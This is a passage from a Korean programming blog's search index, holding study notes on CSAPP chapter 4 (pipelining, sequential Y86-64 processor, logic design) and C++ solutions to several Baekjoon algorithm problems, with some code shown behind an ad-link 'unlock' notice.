SINS, SHLT} Pipeline Control Mechanisms 클럭이 튈때, stall과 bubble에 따라 갱신 / 고정 / nop화를 할 수 있겠다 stall과 bubble을 동시에 1로 설정하는것은 오류로 간주한다. Combinations of Control Conditions 현실에서는 여러 특수조건이 동시에발생할 수도 있다. 하지만 우리가 상호배타적으로 세팅을 잘 해놔서, 뜰만한 중첩이 많이 없다. 해봤자 예측실패와 ret1, load/use와 ret1정도. 앞을 조합 A, 뒤를 조합 B라고 하자. 조합 A에서는 분기가 잘못 예측되었음을 감지하고 ret를 취소한다. 조합 B에서, ret때문에 버블을 넣으면 좀 곤란해진다. load/use에서는 Decode를 stall하려고하고 ret때문에는 Decode 단계에 버블이 들어가니까 ret를 위해 한 사이클 지연되어야한다. Control logic implementation 이를 모두 관리하는 Pipeline control Logic이라는게 있어야한다. 여기서 F_stall, D_bubble, D_stall, E_bubble\u0026hellip;등을 관리하고 D_icode, d_srcA, d_srcB, e_Cnt..등을 받아서 처리해야한다. 4.5.9 Performance Analysis 파이프라인 제어 로직때문에 우리 목적이었던 매 클럭마다 명령어 하나 처리하기를 못하게 되긴한다. 이건 버블의 주입 빈도를 측정함으로써 정량화할 수 있다. 이 측정을 CPI (Cycle Per Instruction)이라고 한다. 이 측정은 파이프라인의 평균 처리 속도의 역수이지만, 시간은 피코초가 아닌 클럭 사이클 단위로 측정된다. $C_i$를 명령어 개수, $C_b$를 버블 개수라고 하면 $CPI = \\frac{C_i + C_b}{c_i} = 1.0 + \\frac{C_b}{C_i}$ 따라서 명령어당 버블 비율로 나타낼 수 있는데, 버블이 들어가는 예이ㅗ는 세가지가 있으므로 $CPI = 1.0 + lp + mp + rp$ load penelty / mispredicted branch penalty / return penalty 이때 비율들로 계산할 수 있겠다. 4.5.10 Unfinished Business 아직도 누락된 사항들이 존재한다. Multicycle Instructions 정수 곱셈 / 나눗셈이나 부동소수점 연산을 수행하는 명령어도 구현해야 한다. ALU를 사용해서 실행단계 로직의 기능을 확장하면 되겠지만, 성능이 너무 낮아진다. 나눗셈의 경우 64사이클이나 걸릴수도 있다.. 그래서 독립적으로 작동하는 특수 하드웨어 기능 유닛을 사용한다. 물론 파이프라이닝도 되어있다 Interfacing with the Memory System 명령어 인출과 데이터메모리 모두 한 메모리 위에 있고 가상주소를 참조하기전에 실제주소를 가야하고\u0026hellip; 메모리값이 디스크에 있어서 수백만 클럭 사이클이 필요할수도 이건 6, 9장에서 나중에 더 자세히 배울 것이다. 운영체제, 가상메모리, 캐시 등등등 ❔질문 사항 ❓ 하드웨어 레지스터가 수율이 낮거나 만들기 비싼가? 파이프라인에서도 최대한 조금만 쓰려고 노력하는 걸로 보인다. 돈보다는 면적과 전력 문제인데, 뭐 대충 맞다. 꽤나 중요한 최적화다.\n❓ 그러면 Execute의 e_valE를 Decode 단계의 valA로 데려오고싶은거잖아. 이때 valA에는 %rax에서 오는것과 e_valE에서 오는것중 어떻게 알고 클럭이 튈때 선택하지? MUX를 쓴다! 아래와 같은 코드라고 생각할 수 있겠다.\nvalA = MUX( srcA == e_dstE ? e_valE : // Execute 단계에서 forwarding srcA == m_dstM ? m_valM : // Memory 단계에서 forwarding srcA == W_dstE ? W_valE : // Write-back 단계에서 forwarding ... RegisterFile[srcA] // 정상 경로 ) ❓ cpp같은거에서 함수 오버헤드가 커서, gcd나 세그먼트트리같은것도 재귀함수보다 비재귀 while같은걸로 짜는게 훨 빠르다고 생각하고 있었는데, 이게 Control Hazards 때문인가? ret의 주소는 예측하기 어려우니까. 사실 현대 CPU는 Return Address Stack (RAS)라는걸 별도 하드웨어로 써서 ret 예측을 거의 완벽하게 한다고 한다. 그래서 ret에 의한 control hazard 페널티는 0에 수렴한다. 그래서 실제로는 push rbp, mov rbp, rsp, sub rsp, N 등의 스택 프레임 명령어라던가 함수 호출 규약 / 메모리 접근 / 인라이닝 불가 등의 오버헤드가 더 크다.\n❓ 근데 처음에 fetch에 bubble 넣는건 nop같은걸로 해석해서 잘 하면 될거같은데, 분기예측 실패할때 F, D에있는 과정을 버리는건 어떻게 하는거지? dstE, dstM에 0xF를 박아버리면 되나? 아니 이게 맞다니! 버블은 다음과 같다. icode = nop / dstE = 0xF / dstM = 0xF / srcA = 0xF / srcB = 0xF / valC = 0 \u0026hellip; 위와 같이 파이프라인 레지스터 자체를 무해한 값들로 덮어 쓰는것이다!\n❓ 이제 예외처리를 해서 멈췄다고 할때\u0026hellip; 컴퓨터가 통째로 멈추면 안되지 않나? 예를들어 어떤 프로그램이 halt를 내서 정지했다고 할때, 컴퓨터가 다 멈춰버리면 안되니까. 이걸 통째로 관리하는게 커널이고 운영체제인건가? 맞다. 나머지는 운영체제의 영역. 실제 흐름은 다음과 같다. 예외 발생 -\u0026gt; 하드웨어가 현재 상태 (PC, 레지스터 등) 저장 -\u0026gt; 커널의 예외 핸들러로 제어권 이동 -\u0026gt; 운영체제가 프로세스 종료 / 시그널 전송 / 다른 프로세스 스케쥴링 등 판단 -\u0026gt; 해당 프로그램만 종료, 나머지는 계속 실행 Ch.8에서 구경하자.\n❓ stall 앞에 normal을 넣어버리면 어떻게되지? 그러면 안되는건 알겠는데, 갱신이 될까? 앞의 normal이 사라질까? 설정하기 나름인가? 뭐 그렇게 안하긴 하는데, 암튼 유실된다고 한다.\n🔗 참고 자료 ","date":"2026-03-21T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260321_til_csapp-4.5-pipelnied-y86-64-implementations/","title":"CSAPP 4.5 Pipelnied Y86-64 Implementations"},{"content":"📝 상세 정리 이제 순차적 프로세서 (SEQ)를 먼저 만들 것이다. 각 클록사이클에서, 완전한 명령어를 처리하는 모든 단계를 수행한다. 그래서 느릴 것이다! 4.3.1 Organizing Processing into Stages 일반적으로, 명령어 처리에는 여러 연산이 수반된다. 우리는 그 모든 명령어가 일관된 단계 시퀀스를 따르도록 하고싶다. 과정은 다음과 같다 Fetch PC를 메모리주소로 사용하여 명령어 바이트 읽기 icode / ifun / 레지스터 지정자 / valC 등을 읽기 valP는 다음 명령어 주소 = PC의 값에 읽은 명령어의 길이를 더한 값 Decode 레지스터파일에서 최대 두개의 연산자를 읽어서 valA / valB 제공 Execute 명령어에 의해 지정된 연산을 수행하거나, 메모리 참조의 주소를 계산하거나, 스택포인터를 증가/감소하는 등. 이 값을 valE라고 한다. 조건 플래그가 설정 / 평가하는것도 여기 Memory 메모리에 데이터를 쓰거나 메모리에서 데이터를 읽어오기 그 값을 valM이라고 한다. Write back 최대 두개의 결과를 레지스터 파일에 쓰기 PC update PC를 다음 명령어 주소로 업데이트. 프로세서는 위 과정을 무한히 반복한다. 예외가 발생할때 정지한다 halt / 유효하지 않은 명령어 / 유효하지 않은 주소 등 보다 완전한 설계에서는 예외처리 모드에 진입해서 특수 코드를 실행 과정이 되게 많게 느껴지지만, 저렇게 전체 흐름을 유사하게 해야 하드웨어의 양을 최소화하고 복잡성을 줄일 수 있다. 서로 다른 명령어가 가능한 많은 하드웨어를 공유하도록 한다거나.. 하드웨어에서 논리블럭을 중복하는 비용은 소프트웨어에서 코드블럭을 중복하는거보다 훨씬 비싸니까! 4.3.2 SEQ Hardware Structure 모든 Y86-64 명령어들은 위의 6단계의 연속으로 조직화할 것이다. 하드웨어적으로 위의 6단계는 어떻게 구성되는가? Fetch PC 레지스터를 이용해서 명령어 바이트 읽기, valP 계산 Decode 레지스터 파일의 두개의 읽기포트를 통해 valA, valB를 동시에 읽는다. Execute 명령어 유형에 따라 arithmetic / Logic ALU 유닛을 다양하게 사용한다. 그중에 입력중 하나에 0을 더하여 출력으로 전달하는 더미 adder도 있다! CC (Condition Code Register) 세개의 조건 코드 비트를 보유함 새로운 값은 ALU에 의해 계산되고, 조건부 이동 명령어를 실행할 때 목적지 레지스터를 업데이트할지를 계산함. 점프같은것도 마찬가지. Memory 메모리의 워드를 읽거나 씀. 명령어 메모리와 데이터 메모리는 그림에서는 다르게 그리지만, 결국 하나의 메모리에 엑세스하는것임 Write back 레지스터파일의 두개의 쓰기 포트로 데이터를 작성 포트 E는 ALU의 계산 결과를 쓰기 위해, 포트 M은 데이터 메모리에서 읽은 값을 쓰기 위해 사용 그림으로 나타낼때 관례 클럭 레지스터는 흰색 직사각형 (SEQ에서는 PC가 유일한 크럭 레지스터이다) 하드웨어 유닛은 연한 파란색 사각형 제어 로직 블럭은 회색 둥근 사각형 와이어 이름은 흰색 원 (라벨) 워드는 중간두께 선, 바이트는 얇은선, 단일비트는 점선 4.3.3 SEQ Timing SEQ는 조합기와 두가지 형태의 메모리 장치(클록 레지스터, 랜덤 액세스 메모리)로 구성된다. 조합기는 시퀀싱이나 제어 없이, 입력이 변경될때마다 논리게이트 네트워크를 통해 전파된다. 랜덤 엑세스 메모리에서 데이터를 읽어오는 과정은 주소 입력에 기반하여 계산된다고 봐도 된다. 레지스터 파일에서는 합리적이고, 더 큰 회로에서도 특수한 클록 회로를 이용해서 이를 모방할 수 있다. 써있는 말이 좀 복잡한데, 그냥 회로 관점에서 어차피 쓰기도 클록 엣지에서만 일어나고, 읽기는 주소를 넣으면 데이터가 나오는 과정이니까 조합 논리 블록이랑 다를게 없다는 말인 것 같다. 명령어 메모리는 명령어 읽기 전용으로만 사용되므로, 이 유닛 자체를 조합기로 생각할 수 있다. 이렇게 생각하면, 시퀀싱에 대해 명시적으로 제어가 필요한건 PC, 조건코드 레지스터, 데이터 메모리, 레지스터 파일 4가지가 남는다. 이들은 클록신호 하나를 통해 제어되고, 레지스터에 값을 로드하고 랜덤액세스 메모리에 값을 쓰는 타이밍을 트리거한다. PC는 매 클록 사이클마다 새로운 명령어 주소를 로드하고, 조건코드 레지스터는 OPq에서만 로드되고, 데이터메모리는 rmmovq, pushq, call에서만 쓰이고\u0026hellip; 레지스터 파일의 쓰기 포트는 매 사이클마다 두개의 프로그램 레지스터를 업데이트할 수 있지만, 특수 레지스터 ID인 0xF를 포트주소로 사용해서 쓰기가 없도록 할 수 있다. 이러한 클록ing는 시퀀싱을 제어하는데 꼭 필요한 것들이다. 원칙: No reading back 프로세스는 명령어 처리를 완료하기 위해 해당 명령어에 의해 업데이트 된 상태를 읽을 필요가 없다.\n만약 pushq를 위해 %rsp를 8 감소시키고 %rsp의 값을 쓰기 연산의 주소로 사용하는 방식으로 구현했다고 해보자. 이는 Memory 연산을 위해 레지스터 파일에서 업데이트된 스택 포인터 값을 읽어야 한다. 대신, 우리는 미리 Execute 단계에서 valE로 생성한후, 이걸 레지스터 쓰기와 데이터 메모리 쓰기의 주소로 모두 사용할 수 있다.\n비슷한 예시로 조건 플래그를 설정한후 바로 읽어야하는 경우도 없게 한다.\n위의 원칙 덕분에, SEQ에서 단일 클록으로 모든 상태 업데이트를 사이클 끝에 한번에 할 수 있게 된다. 4.3.4 SEQ Stage Implementations HCL 작성 방법을 배우자. Fetch Stage 명령어 메모리 하드웨어 유닛에서, PC를 첫번째 바이트의 주소로 사용하여 한번에 10바이트를 끌고온다. 그리고 바이트 0은 split 유닛에 의해 두개의 4비트로 분할된다. icode, ifun이 되고, 인스트럭션 함수를 메모리에서 읽은 값과 같게 계산하거나, 유효하지 않으면 nop로 계산한다. icode를 기반으로 세개의 1비트 신호를 계산한다. instr_valid (유효한 인스트럭션인가?) need_regids (레지스터 지정자 바이트가 포함되는가?) need_valC (상수 워드가 포함되는가?) instr_valid와 imem_error(명령어 주소가 범위를 벗어남)은 메모리 단계에서 상태 코드를 생성할 때 사용된다. Decode ans Write-Back Stages 두 단계는 모드 레지스터 파일에 액세스하므로 결합된다. 레지스터 파일은 4개의 포트 (읽기 A, 읽기 B, 쓰기 E, 쓰기 M)을 갖는다. 각 포트는 주소 연결과 데이터 연결을 모두 갖는다. 주소 연결은 레지스터 ID, 데이터 연결은 64개의 와이어 세트 HCL에서는 srcA, srcB, dstE, dstM으로 관리한다. 0xF는 어떤 레지스터도 액세스하지 않을때 Execute Stage ALU가 포함된다! 여기선 alufun의 신호의 설정에 따라 add, subtract, and, or, execlusive-or 등의 연산을 수행한다. 그 결과는 valE 신호가 된다. ALU A의 값은 valA, valC, -8(call, pushq), 8(ret, popq) 가 될 수 있다. Memory Stage 프로그램 데이터의 읽기 또는 쓰기를 수행한다. Surveying SEQ 이렇게 하면 Y86-64를 만들 수 있다! 그런데.. 좀 느리지 않나? 클록은 신호가 단일 사이클 내에 모든 단계를 통과할정도로 느려야한다. 그러니 더 좋은 방법을 찾아보자. Pipelining. ❔질문 사항 ❓ 앞에서 계산된 valP같은건 어딘가에 하드웨어 레지스터로 저장되어있어야 하는건가? 일단 이 SEQ에서는 그렇게 안하고 계속 들고다닌다.\n❓ 3가지 조건비트도 하드웨어 레지스터로 저장되어 있는건가? 맞다! 그리고 모든 명령어가 CC를 업데이트하진 않는다. OPq 계열만 업데이트함.\n❓ 0xF를 특수 ID로 쓰면서 x86_64에서 레지스터가 15개인건가? 맞다! 그리고 이래야 halt, nop 같이 쓸 레지스터가 없는 명령어도 조건분기 처리 안하고 0xF에 쓰는걸로 단순화할 수 있다.\n❓ 생각보다 하드웨어 레지스터가 많은거같다. 프로그램 레지스터 15개, 조건분기 3개, PC, 그리고 상태 코드도 이걸로 저장할 거 같은데.. 몇개나 있는걸까? 프로그램 레지스터 15개, 조건코드 3개, PC 1개, 상태코드 4개 -\u0026gt; 23개.\n❓ 하드웨어적으로 메모리 주소에서 데이터를 가져오는건 어떻게 이루어지는가? 물리적으로 이동하진 않을거아냐. 어.. 전기적 신호로 동작한다고 한다.\n주소 버스에 원하는 주소를 전압 패턴으로 인가 DRAM의 row/column decoder가 해당 주소의 커패시터 배열을 선택 커패시터 충전 상태(0/1)가 sense amplifier를 통해 증폭 데이터 버스로 출력 이게먼소리지;; 전전쪽 내용이라는거 같다. 나중에 공부하죠 ❓ 0xF에서 값을 가져오면 어떻게 되지? 그냥 그때 전압에 따라 랜덤한 값이 들어가나? 0으로 초기화된 값이 들어가나? 하드웨어가 약속된 값으로 처리.\n❓ 메모리에 valC를 채우는경우 (배열 초기화라던지) 그건 어떻게 동작하지? Mem.data에 valC는 못가는걸로 보이는데 이건 Y86-64에서 메모리에 직접쓰기를 지원 안해서!\n🔗 참고 자료 ","date":"2026-03-19T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260319_til_csapp-4.3-sequential-y86-64-implementations/","title":"CSAPP 4.3 Sequential Y86-64 Implementations"},{"content":"📝 상세 정리 4.4.0 Intro 파이프라인은 웬만한 사람에게 익숙할 것이다. 급식소는 샐러드 / 요리 / 디저트 / 음료등을 나눠서 제공하고 세차장도 물과 비누를 분사하고 / 닦고 / 왁스를 바르고 / 건조하고.. 여러 고객이 동시에 시스템을 통과하도록 허용하는 것. 파이프라이닝의 핵심 특징은 시스템의 처리량을 증가시킨다는 것 하지만 개별 고객에 대한 서비스시간 (대기시간)은 약간 증가될 수도 있다. 4.4.1 Computational Pipelines 컴퓨터로 오면, 고객은 명령어이고, 각 단계는 명령어 실행의 일부 부분이다. 현대 논리 설계에서는 회로 지연을 피코초 ($ps, 10^{-12}$초) 단위로 측정한다. 처리량은 초당 기가 명령어 단위로 표현된다. 명령어를 끝까지 수행하는데 필요한 총 시간을 지연(latency)라고 하고, 이는 처리량의 역수이다. 4.4.2 A Detailed Look at Pipleline Operation 중간에 레지스터층을 둬서, 입력과 출력을 적당히 저장해서 파이프라이닝을 할 수 있겠다. 클럭이 느려지는건 문제가 없겠지만,너무 빨라지면 레지스터 입력값들이 유효하지 않아질 수 있다. 4.4.3 Limitations of Pipelining 하지만 3단계로 쪼갠다고 3배 빨라지지는 않는다, 불행히도. Nonuniform Partitioning 아무래도, 세 단계로 쪼갰을때 각 단계를 1/3씩은 못맞추고, 300이었던게 50, 150정도로 쪼개지겠지. 근데 그러면 클럭을 작동할 수 있는 속도는 가장 느린 단계에 맞춰진다. 300이 50 / 100 / 150으로 쪼개진다면 150에 맞춰지고, 중간 레지스터 저장까지 생각하면 170ps정도밖에 성능 개선이 안일어난다. Diminishing Returns of Deep Pipelining 그러면 많이 쪼개면 좋은걸까? 그러면, 레지스터 저장 오버헤드가 커진다. 잘 쪼개서 300ps를 50ps 6단계로 쪼갰다고 생각해보자. 이때 레지스터에 의해 50 + 20 = 70ps정도로 된다. 전체 지연에서 28%나 레지스터 지연이 차지한다. 현대 프로세서에서는 그래도 클럭 속도를 극대화하기 위해 15단계 이상의 깊은 파이프라인을 사용하긴 한다. 4.4.4 Pipelining a System with Feedback 우리는 지금까지 모든 명령어가 독립적이라고 가정했다. 하지만 연속된 명령어 간에 종속성이 존재할 수 있다. 하지만 파이프라이닝을 진행하면, 앞의 결과가 업데이트 되지 않았는데 뒤에서 쓰려고 하는 상황이 발생할 수 있다. 이런 피드백 효과를 적절히 처리해서, 시스템 동작이 변경되지 않도록 조심해야할 것이다. ❔질문 사항 ❓ 그러면 램이나 CPU 오버클럭이 잘된다 / 안된다라는 말은, 오버클럭을 했을때, 얼마나 뻑이 안나냐 라는건가? 이론상 클럭을 걍 두배로 늘려버리면, 연산이 덜끝났는데 클럭이 튀어버리면 결과값이 이상해질테니까. 대충 안전한선까지 클럭을 올리는건가? 대충 맞다.\n🔗 참고 자료 ","date":"2026-03-19T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260319_til_csapp-4.4-general-principles-of-pipelining/","title":"CSAPP 4.4 General Principles of Pipelining"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/5638 🧐 관찰 및 접근 댐에 수문이 있고, 유량과 피해비용이 있는 것 같다. 피해비용은 여는 시간에 비례하지 않는 것 같다. 그러면 각 수문에 대해, 유량에 시간을 곱해서 각 수문이 버릴 수 있는 물의 양을 구할 수 있고, 그에 따른 가격이 나온다. 이건 그리디하게는 조금 곤란하고, 배낭 문제로 되나? 했는데, $V$가 너무 크다! 그런데 수문의 개수가 $n \\leq 20$으로 유의미하게 작다. 각 테스트케이스에 대해 모든 수문을 열어보는 경우의 수를 수행할 수 있을 것 같다. 시간복잡도 $O(2^n \\cdot nm)$ 정도에 동작할 것 같다. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;pll\u0026gt; door(N); rep(i, 0, N) cin \u0026gt;\u0026gt; door[i].first \u0026gt;\u0026gt; door[i].second; int Q; cin \u0026gt;\u0026gt; Q; rep(q, 1, Q+1){ ll V, T; cin \u0026gt;\u0026gt; V \u0026gt;\u0026gt; T; ll ans = 1e18; rep(bit, 0, 1\u0026lt;\u0026lt;N){ ll wat = 0, cost = 0; rep(i, 0, N) if(bit \u0026amp; (1\u0026lt;\u0026lt;i)) wat += door[i].first*T, cost += door[i].second; if(wat \u0026gt;= V) ans = min(ans, cost); } cout \u0026lt;\u0026lt; \u0026#34;Case \u0026#34; \u0026lt;\u0026lt; q \u0026lt;\u0026lt; \u0026#34;: \u0026#34;; if(ans == 1e18) cout \u0026lt;\u0026lt; \u0026#34;IMPOSSIBLE\\n\u0026#34;; else cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-17T00:00:00Z","permalink":"/posts/algorithm/ps/260317_algorithm_boj-5638-%EC%88%98%EB%AC%B8/","title":"BOJ 5638 수문"},{"content":"📝 상세 정리 4.2.0 하드웨어 상에서 전자 회로는 비트들 상의 함수를 계산하고 / 상이한 종류의 메모리 요소들에 비트들을 저장하기 위해 사용된다. 논리값 1은 1볼트 내외의 고전압, 0은 0볼트 내외의 저전압으로 표현한다. 디지털 시스템을 구현하기 위해서는 다음과 같은 세가지 주요 구성 요소가 필요하다. 비트에 대한 함수를 계산하기 위한 조합 로직 비트를 저장하기 위한 메모리 요소 메모리 요소의 업데이트를 위한 클록 신호 4.2.1 Logic Gates 논리 게이트는 디지털 회로의 기본 컴퓨팅 요소이다. bool값에 대한 and, or, not 연산 \u0026amp;\u0026amp; \u0026amp; / || | 차이 \u0026amp;\u0026amp; || 는 논리연산자 -\u0026gt; 결과는 0 or 1 \u0026amp; |는 비트연산자 -\u0026gt; 결과는 각 비트에 대해 수행한 값 논리게이트는 항상 활성화 되어있다. 입력값이 변경되면 잠시후에 그에따라 출력이 수정될 것 4.2.2 Combinational circuits and HCL Boolean Ecpressions 다수의 논리 게이트를 네트워크로 조립하면서 우리는 조합 회로로 알려진 계산 블록을 구성할 수 있다. 이때 몇가지 제한이 있는데 모든 논리 게이트의 입력은 다음 세가지중 정확히 하나에 연결되어야 한다. 시스템 입력(1차 입력) 일부 메모리요소의 출력 일부 논리게이트의 출력 둘 이상의 논리 게이트의 출력은 함께 연결될 수 없다. (?wire 를 상이한 전압을 향해 구동시켜서 회로 오동작을 야기할 수 있다.) 아하, 이게 무슨소린가 했는데 두 출력부를 연결하면 하나가 1, 하나가 0이었다면 연결될때 좀 곤란해진다! 전원과 접지가 만나는것도 이슈고. 네트워크는 비순환적이어야 한다. 루프는 네트워크에 의해 계산된 함수에 모호성을 야기할 수 있다. 4.2.3 Word-Level Combinational Circuits and HCL Integer Expressions 큰 논리 게이트 네트워크를 조립함으로써 우리는 훨씬 더 복잡한 함수를 계산할 수 있다. word 단위로 연산해야지! 정수, 주소, instuction 코드, 레지스터 식별자 등 4~64비트 범위의 수많은 word가 있을 것 앞으로 그림으로 나타낼때 점선은 비트단위, 중간크기 실선은 word단위 4.2.4 Set MemberShip HCL에서 or연산이 붙어있는 코드는 in 명령어를 사용할 수 있다. 4.2.5 Memory and Clocking 조합회로는 본질적으로 어떤 정보도 저장하지 않는다. 하지만 순차회로가 필요해지면, 우리는 비트로 표현되는 정보를 저장하는 장치를 도입해야 한다. 이는 새로운 값이 장치에 로드될 때를 결정하는 주기적인 신호인 단일 클럭에 의해 제어된다. 클록 레지스터는 개별 비트 / 워드를 저장함 랜덤 액세스 메모리는 주소를 사용해서 읽거나 쓸 단어를 선택하면서 여러 워드를 저장함 대표적으로 가상 메모리 시스템, 레지스터 파일 등 아무튼 이 두가지 레지스터를 각각 하드웨어 레지스터 / 프로그램 레지스터라고 하자. 레지스터 파일은 내부 저장장치를 갖기에 조합회로가 아니다. 아하, 이게 종합적으로 무슨말인지 천천히 읽으면서 이해해보자. 결국 값을 저장할 일은 분명히 생긴다. 전에 계산한 결과를 활용하던가 해야할 수 있으니까. 잘 알듯이 그걸 저장하는 부분은 CPU의 레지스터다. CPU에 달려있는 그 친구를 하드웨어 레지스터라고 부르자. 그러면 저장을 어떻게 구현하는가? CPU에서는 안에서 D-플립플랍이라는걸 이용해서, 안에 전류를 가두는 방식을 사용한다. 가두는 타이밍은 클록 신호 (0-1 진동신호)가 켜지는 그 타이밍이다. X86-64에는 총 16개의 레지스터가 있으니까, 하드웨어 레지스터는 총 16개가 필요하다. 그리고 이것들에 대한 묶음을 레지스터 파일이라고 한다. 왜 묶어서 보관하는가? 그건 16개에 대해 모든 ALU에 다는게 에바기 때문이다. 위에 MUX, 선택기마냥 이 레지스터에서도 비트마스킹 결과처럼 연산해서 값을 얻어내는게 회로로 구현하기 훨씬 더 쉽다. 따라서 그 보드 위의 레지스터를 하드웨어 레지스터, 그리고 우리가 쓰는 %rax같은걸 프로그램 레지스터라고 한다. ❔질문 사항 ❓ 루프는 네트워크에 의해 계산된 함수에 모호성을 야기할 수 있다. 왜? AND / OR 같은 회로들로 루프를 만들면 전압이 진동하는게 아니라 중간에서 멈춰버린다!\n🔗 참고 자료 ","date":"2026-03-17T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260129_til_csapp-4.2-logic-design-ant-the-hardware-contrlop-language-hcl/","title":"CSAPP 4.2 Logic design ant the Hardware Contrlop Language HCL"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1739 🧐 관찰 및 접근 $(1, 1) \\rightarrow (6, 6)$으로 가기 위해선 어때야 하지? $r_1, c_6$이 오른쪽 / 아래이거나, $c_1, r_6$이 아래 / 오른쪽이거나.. 오른쪽 / 아래를 참, 왼쪽/위를 거짓이라고 생각하면, $(r_1 \\land c_6) \\lor (r_6 \\land c_1)$ 같은 느낌인가? 이걸 어떻게 잘 하면 2-sat으로 바꿀 수 있을것같은데.. $r6$이 아니라면, $r1, c6$이 참이어야하고, 이런 느낌으로 되는것같다. $(\\neg r_6 \\rightarrow r_1) \\land (\\neg r_6 \\rightarrow c_6)$ 이런걸 4개에 대해서 하면 될거같은데? $(r_1, c_1) \\rightarrow (r_2, c_2)$ 라고 해보자. 일단 $r_1 \u003c r_2, c_1 \u003c c_2$라고 하자. $(\\neg r_1 \\rightarrow r_2) \\land (\\neg r_1 \\rightarrow c_1)$ $(\\neg c_2 \\rightarrow r_2) \\land (\\neg c_2 \\rightarrow c_1)$ $(\\neg r_2 \\rightarrow r_1) \\land (\\neg r_2 \\rightarrow c_2)$ $(\\neg c_1 \\rightarrow r_1) \\land (\\neg c_1 \\rightarrow c_2)$ 이렇게 할 수 있을 것 같다. 그러면 $r_1 \u003e r_2, c_1 \u003e c_2$라면? 똑같이 $r_1, c_2$의 경로를 이용하거나, $r_2, c_1$의 경로를 이용해야하는건 같다. 그런데 왼쪽이라서 참이어야 하는게 아니라 목적지가 거짓이어야 한다. $(\\neg r_1 \\land \\neg c_2) \\lor (\\neg r_2 \\land \\neg c_1)$ 처럼 되어야할 것 같다. 아하, 대소관계가 바뀌면 이게 낫으로 바뀐다. 이걸 이용해서 더 쉽게 구현이 될라나? 구현 실수하지 않게 조심하자. 💻 풀이 코드 (C++): void solve(){ int N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; DirectedGraph tsat((N+M)*2); rep(i, 0, K){ int r1, c1, r2, c2; cin \u0026gt;\u0026gt; r1 \u0026gt;\u0026gt; c1 \u0026gt;\u0026gt; r2 \u0026gt;\u0026gt; c2; r1--; c1--; r2--; c2--; r1 *= 2; r2 *= 2; c1 = (c1 + N) * 2; c2 = (c2 + N) * 2; if(r1 == r2 \u0026amp;\u0026amp; c1 == c2) continue; if(r1 == r2){ if(c1 \u0026lt; c2) tsat.add_edge(r1^1, r1); else tsat.add_edge(r1, r1^1); continue; } if(c1 == c2){ if(r1 \u0026lt; r2) tsat.add_edge(c1^1, c1); else tsat.add_edge(c1, c1^1); continue; } if(c1 \u0026gt; c2) r1^=1, r2^=1; if(r1 \u0026gt; r2) c1^=1, c2^=1; tsat.add_edge(c1^1, r1); tsat.add_edge(c1^1, c2); tsat.add_edge(r2^1, r1); tsat.add_edge(r2^1, c2); tsat.add_edge(r1^1, r2); tsat.add_edge(r1^1, c1); tsat.add_edge(c2^1, r2); tsat.add_edge(c2^1, c1); } cout \u0026lt;\u0026lt; (tsat.is2SAT() ? \u0026#34;Yes\\n\u0026#34; : \u0026#34;No\\n\u0026#34;); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-10T00:00:00Z","permalink":"/posts/algorithm/ps/260310_algorithm_boj-1739-%EB%8F%84%EB%A1%9C-%EC%A0%95%EB%B9%84%ED%95%98%EA%B8%B0/","title":"BOJ 1739 도로 정비하기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11111 🧐 관찰 및 접근 대충봐도 격자그래프에서 MCMF같은데.. 덜끊어도 되니까 MaxFlow가 아닌가? 아하 뒤집으면 된다 아하, Flow 자체도 다 보내기 전이 최적일수도 있는것만 잊지 말자 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; costs = { {10, 8, 7, 5, 1}, {8, 6, 4, 3, 1}, {7, 4, 3, 2, 1}, {5, 3, 2, 2, 1}, {1, 1, 1, 1, 0} }; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; board(N, vector\u0026lt;int\u0026gt;(M)); map\u0026lt;char, int\u0026gt; mp; mp[\u0026#39;A\u0026#39;] = 0; mp[\u0026#39;B\u0026#39;] = 1; mp[\u0026#39;C\u0026#39;] = 2; mp[\u0026#39;D\u0026#39;] = 3; mp[\u0026#39;F\u0026#39;] = 4; rep(i, 0, N){ string S; cin \u0026gt;\u0026gt; S; rep(j, 0, M) board[i][j] = mp[S[j]]; } MinCostMaxFlow MCMF(N*M+2); MCMF.setST(N*M, N*M+1); vector\u0026lt;int\u0026gt; dx = {-1, 1, 0, 0}, dy = {0, 0, -1, 1}; rep(i, 0, N) rep(j, 0, M){ if((i+j)%2){ MCMF.add(i*M+j, N*M+1, 1, 0); continue; } MCMF.add(N*M, i*M+j, 1, 0); rep(d, 0, 4){ int nx = i + dx[d], ny = j + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= M) continue; MCMF.add(i*M + j, nx*M + ny, 1, -costs[board[i][j]][board[nx][ny]]); } } cout \u0026lt;\u0026lt; max(0LL, -MCMF.match()); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 